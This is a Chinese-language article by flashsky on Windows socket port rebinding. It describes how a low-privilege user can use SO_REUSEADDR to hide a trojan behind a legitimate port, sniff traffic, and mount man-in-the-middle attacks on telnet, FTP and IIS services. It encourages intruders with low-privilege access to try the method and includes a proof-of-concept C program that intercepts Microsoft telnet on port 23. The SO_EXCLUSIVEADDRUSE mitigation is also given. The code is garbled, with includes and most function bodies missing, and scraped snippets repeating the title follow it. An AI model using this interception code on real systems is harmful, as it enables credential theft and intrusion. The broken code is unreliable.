原作者姓名 flashsky
正文在windows的socket伺服器應用的程式設計中,如下的語句或許比比都是:
s=socket(af_inet,sock_stream,ipproto_tcp);
saddr.sin_family = af_inet;
saddr.sin_addr.s_addr = htonl(inaddr_any);
bind(s,(sockaddr *)&saddr,sizeof(saddr));
其實這當中存在在非常大的安全隱患,因為在winsock的實現中,對於伺服器的繫結是可以多重繫結的,在確定多重繫結使用誰的時候,根據一條原則是誰的指定最明確則將包遞交給誰,而且沒有許可權之分,也就是說低階許可權的使用者是可以重繫結在高階許可權如服務啟動的埠上的,這是非常重大的乙個安全隱患。
這意味著什麼?意味著可以進行如下的攻擊:
1。乙個木馬繫結到乙個已經合法存在的埠上進行埠的隱藏,他通過自己特定的包格式判斷是不是自己的包,如果是自己處理,如果不是通過127.0.0.1的位址交給真正的伺服器應用進行處理。
2。乙個木馬可以在低許可權使用者上繫結高許可權的服務應用的埠,進行該處理資訊的嗅探,本來在乙個主機上監聽乙個socket的通訊需要具備非常高的許可權要求,但其實利用socket重繫結,你可以輕易的監聽具備這種socket程式設計漏洞的通訊,而無須採用什麼掛接,鉤子或低層的驅動技術(這些都需要具備管理員許可權才能達到)
3。針對一些的特殊應用,可以發起中間人攻擊,從低許可權使用者上獲得資訊或事實欺騙,如在guest許可權下攔截telnet伺服器的23埠,如果是採用ntlm加密認證,雖然你無法通過嗅探直接獲取密碼,但一旦有admin使用者通過你登陸以後,你的應用就完全可以發起中間人攻擊,扮演這個登陸的使用者通過socket傳送高許可權的命令,到達入侵的目的。
4.對於構建的web伺服器,入侵者只需要獲得低階的許可權,就可以完全達到更改網頁目的,很簡單,扮演你的伺服器給予連線請求以其他資訊的應答,甚至是基於電子商務上的欺騙,獲取非法的資料。
其實,ms自己的很多服務的socket程式設計都存在這樣的問題,telnet,ftp,http的服務實現全部都可以利用這種方法進行攻擊,在低許可權使用者上實現對system應用的截聽。包括w2k+sp3的iis也都一樣,那麼如果你已經可以以低許可權使用者入侵或木馬植入的話,而且對方又開啟了這些服務的話,那就不妨一試。並且我估計還有很多第三方的服務也大多存在這個漏洞。
解決的方法很簡單,在編寫如上應用的時候,繫結前需要使用setsockopt指定so_exclusiveaddruse要求獨佔所有的埠位址,而不允許復用。這樣其他人就無法復用這個埠了。
下面就是乙個簡單的截聽ms telnet伺服器的例子,在guest使用者下都能成功進行截聽,剩餘的就是大家根據自己的需要,進行一些特殊剪裁的問題了:如是隱藏,嗅探資料,高許可權使用者欺騙等。
#include
#include
#include
#include
dword winapi clientthread(lpvoid lpparam);
int main()
saddr.sin_family = af_inet;
//截聽雖然也可以將位址指定為inaddr_any,但是要不能影響正常應用情況下,應該指定具體的ip,留下127.0.0.1給正常的服務應用,然後利用這個位址進行**,就可以不影響對方正常應用了
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
saddr.sin_port = htons(23);
if((s=socket(af_inet,sock_stream,ipproto_tcp))==socket_error)
val = true;
//so_reuseaddr選項就是可以實現埠重繫結的
if(setsockopt(s,sol_socket,so_reuseaddr,(char *)&val,sizeof(val))!=0)
//如果指定了so_exclusiveaddruse,就不會繫結成功,返回無許可權的錯誤**;
//如果是想通過重利用埠達到隱藏的目的,就可以動態的測試當前已繫結的埠哪個可以成功,就說明具備這個漏洞,然後動態利用埠使得更隱蔽
//其實udp埠一樣可以這樣重繫結利用,這兒主要是以telnet服務為例子進行攻擊
if(bind(s,(sockaddr *)&saddr,sizeof(saddr))==socket_error)
listen(s,2);
while(1)
}closehandle(mt);
}closesocket(s);
wsacleanup();
return 0;
}dword winapi clientthread(lpvoid lpparam)
val = 100;
if(setsockopt(sc,sol_socket,so_rcvtimeo,(char *)&val,sizeof(val))!=0)
if(setsockopt(ss,sol_socket,so_rcvtimeo,(char *)&val,sizeof(val))!=0)
if(connect(sc,(sockaddr *)&saddr,sizeof(saddr))!=0)
while(1)
closesocket(ss);
closesocket(sc);
return 0 ;
}
埠截聽實現埠隱藏,嗅探與攻擊
flashsky flashsky1 at sina.email flashsky xfocus.站點 xfocus.shopsky.在windows的socket伺服器應用的程式設計中,如下的語句或許比比都是 s socket af i sock stream,ipproto tcp saddr....
埠截聽實現埠隱藏,嗅探與攻擊
埠截聽實現埠隱藏,嗅探與攻擊 在windows的socket伺服器應用的程式設計中,如下的語句或許比比都是 s socket af inet,sock stream,ipproto tcp saddr.sin family af inet saddr.sin addr.s addr htonl in...
埠截聽實現埠隱藏,嗅探與攻擊
include include include dword winapi clientthread lpvoid lpparam int main saddr.sin family af inet 截聽雖然也可以將位址指定為inaddr any,但是要不能影響正常應用情況下,應該指定具體的ip,留下...